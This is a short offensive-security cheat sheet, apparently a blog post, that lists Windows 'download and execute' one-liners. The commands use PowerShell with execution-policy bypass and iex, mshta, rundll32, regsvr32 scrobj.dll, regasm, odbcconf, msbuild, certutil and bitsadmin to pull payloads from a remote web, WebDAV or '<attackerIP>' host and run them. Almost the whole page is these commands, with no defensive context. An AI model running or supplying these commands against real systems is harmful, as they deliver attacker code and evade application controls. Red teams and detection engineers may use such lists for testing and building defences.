Windows - Download and execute methods
Post
Cancel

Windows - Download and execute methods

Downloaded files location

  • C:\Users<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
  • C:\Users<username>\AppData\Local\Microsoft\Windows\INetCache\IE<subdir>
  • C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

Powershell

From an HTTP server

1
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"

From a Webdav server

1
powershell -exec bypass -f \\webdavserver\folder\payload.ps1

Cmd

1
cmd.exe /k < \\webdavserver\folder\batchfile.txt

Cscript / Wscript

1
cscript //E:jscript \\webdavserver\folder\payload.txt

Mshta

1
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
1
mshta http://webserver/payload.hta
1
mshta \\webdavserver\folder\payload.hta

Rundll32

1
rundll32 \\webdavserver\folder\payload.dll,entrypoint
1
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

Regasm / Regsvc @subTee

1
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

Regsvr32 @subTee

1
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
1
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

Odbcconf

1
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

Msbuild

1
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

Certutil

1
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
1
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

Bitsadmin

1
bitsadmin /transfer mydownloadjob /download /priority normal http://<attackerIP>/xyz.exe C:\\Users\\%USERNAME%\\AppData\\local\\temp\\xyz.exe

References

This post is licensed under CC BY 4.0 by the author.